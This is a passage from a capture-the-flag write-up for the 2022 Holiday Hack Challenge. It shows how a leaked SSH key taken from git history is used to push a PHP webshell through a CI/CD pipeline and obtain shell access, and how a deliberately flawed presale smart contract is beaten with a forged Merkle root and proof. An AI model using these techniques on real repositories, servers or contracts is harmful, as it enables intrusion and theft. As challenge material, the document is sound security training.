    Author: knee-oh <>
    Date:   Tue Oct 25 13:42:54 2022 -0700
  6. The suspicious log entry contained a private ssh key:

    grinchum-land:~/ git show -p e19f653bde9ea3de6af21a587e41e7a909db1ca5
    commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
    Author: knee-oh <>
    Date:   Tue Oct 25 13:42:54 2022 -0700
    diff --git a/.ssh/.deploy b/.ssh/.deploy
    deleted file mode 100644
    index 3f7a9e3..0000000
    --- a/.ssh/.deploy
    +++ /dev/null
    @@ -1,7 +0,0 @@
    diff --git a/.ssh/ b/.ssh/
    deleted file mode 100644
    index 8c0b43c..0000000
    --- a/.ssh/
    +++ /dev/null
    @@ -1 +0,0 @@
    -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri
  7. The private key was installed:

    grinchum-land:~# mkdir .ssh && chmod 600 .ssh && ls -ld .ssh
    drw------- 2 root root 4096 Dec 24 06:19 .ssh
    grinchum-land:~# vi .ssh/id_ed25519
    grinchum-land:~# cat .ssh/id_ed25519
    grinchum-land:~# chmod 600 .ssh/id_ed25519
    grinchum-land:~# ls -l .ssh/id_ed25519
    -rw------- 1 root root 411 Dec 24 06:21 .ssh/id_ed25519
  8. The repository was cloned again using the ssh identity:

    grinchum-land:~# git clone
    Cloning into ''...
    The authenticity of host ' (' can't be established.
    ED25519 key fingerprint is SHA256:jW9axa8onAWH+31D5iHA2BYliy2AfsFNaqomfCzb2vg.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '' (ED25519) to the list of known hosts.
    remote: Enumerating objects: 10195, done.
    remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
    Receiving objects: 100% (10195/10195), 36.49 MiB | 22.20 MiB/s, done.
    Resolving deltas: 100% (1799/1799), done.
    Updating files: 100% (9320/9320), done.
  9. The git user name and email were configured to use the same values as the legitimate committer:

    grinchum-land:~/ git config --global --add knee-oh
    grinchum-land:~/ git config --global --add
  10. A basic php webshell was created. The webshell was sourced from /usr/share/webshells/php/simple-backdoor.php on a Kali host, authored by 2006.

    grinchum-land:~/ cat shell.php
            echo "<pre>";
            $cmd = ($_REQUEST['cmd']);
            echo "</pre>";
  11. The webshell was committed and pushed:

    grinchum-land:~/ git add shell.php
    grinchum-land:~/ git commit -m shelled
    [main f713dbe] shelled
     1 file changed, 9 insertions(+)
     create mode 100644 shell.php
    grinchum-land:~/ git push origin main
    Enumerating objects: 4, done.
    Counting objects: 100% (4/4), done.
    Delta compression using up to 2 threads
    Compressing objects: 100% (3/3), done.
    Writing objects: 100% (3/3), 352 bytes | 352.00 KiB/s, done.
    Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
       37b5d57..f713dbe  main -> main
  12. The web shell was confirmed to have been automatically deployed and to be functional:

    grinchum-land:~/ curl -s ''
    <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
  13. The flag file was found in the root directory and the Elfen Ring was obtained as oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT:

    grinchum-land:~/ curl -s ''
    grinchum-land:~/ curl -s '' |grep '\w'
                               Congratulations! You've found the HHC2022 Elfen Ring!
      ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓

Burning Ring of Fire

Buy a Hat

  1. The KTM UI was used to approve a transaction of 10 KC from wallet id 0x7f947CAb530316A9BBa37878A254fb7738b049DF to 0x04dba1A0E178B21670E78CDE98E4183b1ee619de, resulting in block 98883 in the Blockchain Explorer:

  2. The hats vending machine UI was then used to purchase hat id 500 using the wallet id 0x7f947CAb530316A9BBa37878A254fb7738b049DF, resulting in block 98885 in the Blockchain Explorer:

Blockchain Divination

The address of the KringleCoin smart contract was identified as 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554 based on a recent transaction on the blockchain, as a transaction which invokes a smart contract will always have the contract’s address in the to field:

For good measure, block 1 was also explicitly identified as containing a transaction which deployed the KringleCoin smart contract to the same address as above:

Exploit a Smart Contract

  1. The bsrs.js source code on the BSRS presale page posts the following values to the cgi-bin/presale endpoint:

  2. The source code for the BSRS_nft smart contract was located in the Blockchain Explorer in Block 2 and the source code was copied.

  3. The BSRS contract inherits from ERC721PresetMinterPauserAutoId:

    2220 contract BSRS is ERC721PresetMinterPauserAutoId {
    2222     constructor() public
    2223     ERC721PresetMinterPauserAutoId("Bored Sporc Rowboat Society", "BSRS", "")
    2224     {}
    2226 }
  4. However, the code for ERC721PresetMinterPauserAutoId contains the following additional functions compared to what appears to be the upstream code at :

    2161     function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual {
    2162         bool _preSaleIsActive = preSaleIsActive;
    2163         require(_preSaleIsActive, "Presale is not currently active.");
    2164         bytes32 leaf = keccak256(abi.encodePacked(to));
    2165         require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!");
    2166         _mint(to, _tokenIdTracker.current());
    2167         _tokenIdTracker.increment();
    2168     }
    2123     function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
    2124         bytes32 computedHash = leaf;
    2125         for (uint i = 0; i < proof.length; i++) {
    2126           bytes32 proofElement = proof[i];
    2127           if (computedHash <= proofElement) {
    2128             computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
    2129           } else {
    2130             computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
    2131           }
    2132         }
    2133         return computedHash == _root;
    2134     }

    During the presale period, the presale_mint function does the following:

    1. hash the passed in to address
    2. verify the hash is valid for a Merkle tree having the given root and containing the given proof hashes.
  5. Thus, the cgi-bin/presale endpoint is hypothesised to call the presale_mint function in the smart contract. Given the attacker can control the passed in root hash, the attack approach is to build a small Merkle tree as follows in order to determine an appropriate root hash and proof:

  6. The following contract code was entered into :

    // SPDX-License-Identifier: GPL-3.0
    pragma solidity ^0.8.4;
     * @title MerkleTreeHashes
     * @dev Simple utility for SANS 2022 Holiday Hack Challenge
    contract MerkleTreeHashes {
        function compute_root(address wallet) public pure returns (bytes32, bytes32) {
            bytes32 leaf = keccak256(abi.encodePacked(wallet));
            bytes32[1] memory proof = [leaf];
            bytes32 root_hash = keccak256(abi.encodePacked(leaf, proof[0]));
            return (root_hash, leaf);
        function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
            bytes32 computedHash = leaf;
            for (uint i = 0; i < proof.length; i++) {
              bytes32 proofElement = proof[i];
              if (computedHash <= proofElement) {
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
              } else {
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            return computedHash == _root;
  7. The compute_root function computes the root and leaf hashes for the desired Merkle tree and is based on the code in the verify function. The function was called with the wallet address 0x7f947CAb530316A9BBa37878A254fb7738b049DF:

    The returned root and leaf hash values were:

    0: bytes32: 0x7ee7bb806aefa156e0cbcc1da38b3f107ec2db5945885082a1531cf6c2b9f08c
    1: bytes32: 0xf8f5a678f400cd7a52f3fb29df5fbf0193e101c519c318fff7df6116d448a8a3
  8. The verify function is a copy of the verify function from the ERC721PresetMinterPauserAutoId contract. The function was called with the computed parameters from the previous step:



    ie. leaf hash,root hash,[leaf hash]

    The result indicated verification was passed.

  9. In the BSRS webapp, the root hash in bsrs.js was edited using the Chromium dev tools to match the computed value above:

  10. The form was then submitted with the the proof value set to the computed leaf hash above, resulting in validation passing:

  11. Using a KTM, a 100 KC transaction was pre-approved to wallet address 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a.

  12. In the BSRS webapp, the presale form was submitted with the same values as for step 10, but with the Validate only checkbox unticked, which resulted in a Bored Spoc NFT being successfully purchased

    The NFT image is viewable at :